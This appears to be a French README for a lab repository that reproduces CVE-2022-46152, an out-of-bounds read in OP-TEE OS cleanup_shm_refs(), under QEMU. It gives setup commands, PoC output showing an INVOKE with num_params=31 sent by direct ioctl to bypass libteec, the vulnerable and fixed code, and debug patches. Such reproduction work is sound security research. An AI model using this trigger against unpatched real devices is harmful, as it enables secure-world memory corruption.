
CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function.
OP-TEE OS cleanup_shm_refs() Lecture hors limites — Environnement de reproduction
Référence : https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Avis de sécurité : https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7
| Champ | Détails |
|---|---|
| Vulnérabilité | La fonction cleanup_shm_refs() ne valide pas num_params (théoriquement jusqu’à 127 ; limité à 31 en pratique par la limite TEE_MAX_ARG_SIZE=1024 de l’ioctl TEE du noyau Linux), tandis que saved_attr[] n’a que 4 éléments |
| Versions affectées | OP-TEE OS < 3.19.0 |
| Condition de déclenchement | Le monde normal envoie une requête INVOKE avec num_params=31 via un ioctl direct (en contournant la limite de 4 paramètres de libteec) |
| Impact | Lecture hors limites de données de la pile du monde sécurisé ; si une valeur résiduelle de la pile correspond à un type TMEM, une Use-After-Free est déclenchée |
| Correctif | cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (commit 728616b) |
CVE-2022-46152/
├── README.md # Ce fichier (anglais)
├── README.zh.md # Version chinoise
├── setup.sh # Configuration de l’environnement en une commande
├── run_qemu.sh # Lancement de QEMU
├── exploit.sh # Script de reproduction automatisé / manuel
├── cve-2022-46152-oob-emsg.patch # Correctif de débogage OP-TEE OS (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # Correctif QEMU (suppression des logs parasites pflash_write)
├── poc/
│ ├── cve_2022_46152.c # Code source du PoC (ioctl direct contournant libteec)
│ └── Makefile # Makefile de cross-compilation
├── docs/
│ └── vulnerability_analysis.md # Analyse technique détaillée de la vulnérabilité
└── optee/ # Environnement OP-TEE (créé par setup.sh)
├── optee_os/ # OP-TEE OS 3.18.0 (version vulnérable)
├── build/ # Système de compilation (qemu_v8.mk)
├── linux/ # Noyau Linux
├── buildroot/ # Buildroot rootfs
├── trusted-firmware-a/ # TF-A v2.6
├── qemu/ # QEMU v7.0.0 (source)
└── out/bin/ # Artefacts de compilation
├── bl1.bin # TF-A BL1
├── Image # Image du noyau Linux
└── rootfs.cpio.gz # rootfs contenant le PoC
# Ubuntu/Debian
sudo apt-get install -y \
repo git make python3 \
aarch64-linux-gnu-gcc \
device-tree-compiler \
libglib2.0-dev libpixman-1-dev \
netcat-openbsd expect
# Vérification
aarch64-linux-gnu-gcc --version
repo --version
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..
Remarque : Utilisez le tag
3.18.0. Cette version contient la vulnérabilité CVE-2022-46152 et n’a pas encore reçu le correctif.
./setup.sh
Ce script va :
repo sync pour récupérer tout le code sourceoptee/toolchains/ existe déjà, sinon télécharge automatiquement)make all pour compiler TF-A, OP-TEE OS 3.18.0, Linux et Buildroot# Ouvrez trois terminaux :
# Terminal 1 — Démarrez QEMU :
./run_qemu.sh --no-gdb
# Terminal 2 — Console du monde normal (exécutez après le démarrage de run_qemu.sh) :
python3 optee/build/soc_term.py 54320
# Terminal 3 — Monde sécurisé (logs OP-TEE, exécutez après le démarrage de run_qemu.sh) :
python3 optee/build/soc_term.py 54321
Remarque :
run_qemu.shdémarre en internesoc_term.pyen mode serveur écoutant sur 54320/54321, avec QEMU se connectant en tant que client. Les commandes ci-dessus sont des exemples pour se connecter à une instance en cours d’exécution et ne sont généralement pas nécessaires à exécuter manuellement.
# Dans le terminal du monde normal (54320), après l’apparition de l’invite de connexion :
(none) login: root
# Exécutez le PoC
/root/cve_2022_46152
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0
[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3
[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.
[*] Done. Check secure world UART output for OOB/abort evidence.
Remarque :
TEE_MAX_ARG_SIZE=1024limite un seul ioctl à 31 paramètres au maximum (libteec plafonne à 4). Même ainsi,num_params=31suffit pour déclencher la lecture hors limites (lecture desaved_attr[4..30], soit 27 éléments hors limites).
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!
La ligne d’avertissement
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB!est un log explicite ajouté àentry_std.cvia le correctifcve-2022-46152-oob-emsg.patchpour confirmer le chemin de déclenchement de la vulnérabilité.cleanup_shm_refslit 27 éléments supplémentaires hors limites sur la pile ; si une valeur résiduelle de la pile correspond à un type TMEM, un Use-After-Free parmobj_put()peut être déclenché.
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
uint32_t saved_attr[TEE_NUM_PARAMS]; /* seulement 4 emplacements ! */
...
res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
if (res != TEE_SUCCESS) {
/* ❌ BUG : num_params peut être 127, lecture hors limites de saved_attr[4..126] */
cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
goto out;
}
...
}
if (res != TEE_SUCCESS) {
/* ✅ CORRECTIF : MIN(4, 127) = 4, plus hors limites */
cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
goto out;
}
# Configurez l’environnement
./setup.sh
# Démarrez QEMU (avec port de débogage GDB)
./run_qemu.sh
# Démarrez QEMU (sans attendre GDB)
./run_qemu.sh --no-gdb
# Affichez les étapes de reproduction manuelle
./exploit.sh --manual
# Reproduction automatisée (pas de terminaux supplémentaires, sortie dans le terminal courant)
./exploit.sh
# Connectez-vous à la console du monde normal (après le démarrage de run_qemu.sh)
python3 optee/build/soc_term.py 54320
# Connectez-vous au log du monde sécurisé (après le démarrage de run_qemu.sh)
python3 optee/build/soc_term.py 54321
# Déboguez OP-TEE OS avec GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c
Ce dépôt applique le correctif qemu-pflash-suppress-unimp-log.patch sur QEMU v7.0.0 pour éliminer le bruit suivant lors de l’exécution de la VM :
pflash_write: Write to buffer emulation is flawed
pflash_write() dans hw/block/pflash_cfi01.c appelle qemu_log_mask(LOG_UNIMP, ...) lors du traitement de la commande CFI pflash 0xe8 (Write to buffer), enregistrant un avertissement « non implémenté ». Le firmware TF-A écrit dans la pflash pendant le démarrage, ce qui déclenche ce chemin et affiche le message à chaque démarrage.
hw/block/pflash_cfi01.c)Supprime l’appel à qemu_log_mask(LOG_UNIMP, ...) dans le bloc case 0xe8 tout en laissant la logique fonctionnelle intacte.
optee/qemu/)cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64
Ce dépôt applique un correctif de débogage cve-2022-46152-oob-emsg.patch sur OP-TEE OS 3.18.0 afin qu’un avertissement explicite soit affiché sur l’UART du monde sécurisé lorsque la vulnérabilité est déclenchée, ce qui facilite la vérification de la reproduction.
core/tee/entry_std.c)#include <trace.h>entry_invoke_command(), détecte num_params > TEE_NUM_PARAMS avant l’appel à cleanup_shm_refs() et affiche
CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4 via EMSG()⚠️ Ce correctif est uniquement à des fins de débogage/démonstration et n’est pas un correctif de sécurité. Le vrai correctif se trouve dans le commit 728616b.
optee/optee_os/)cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os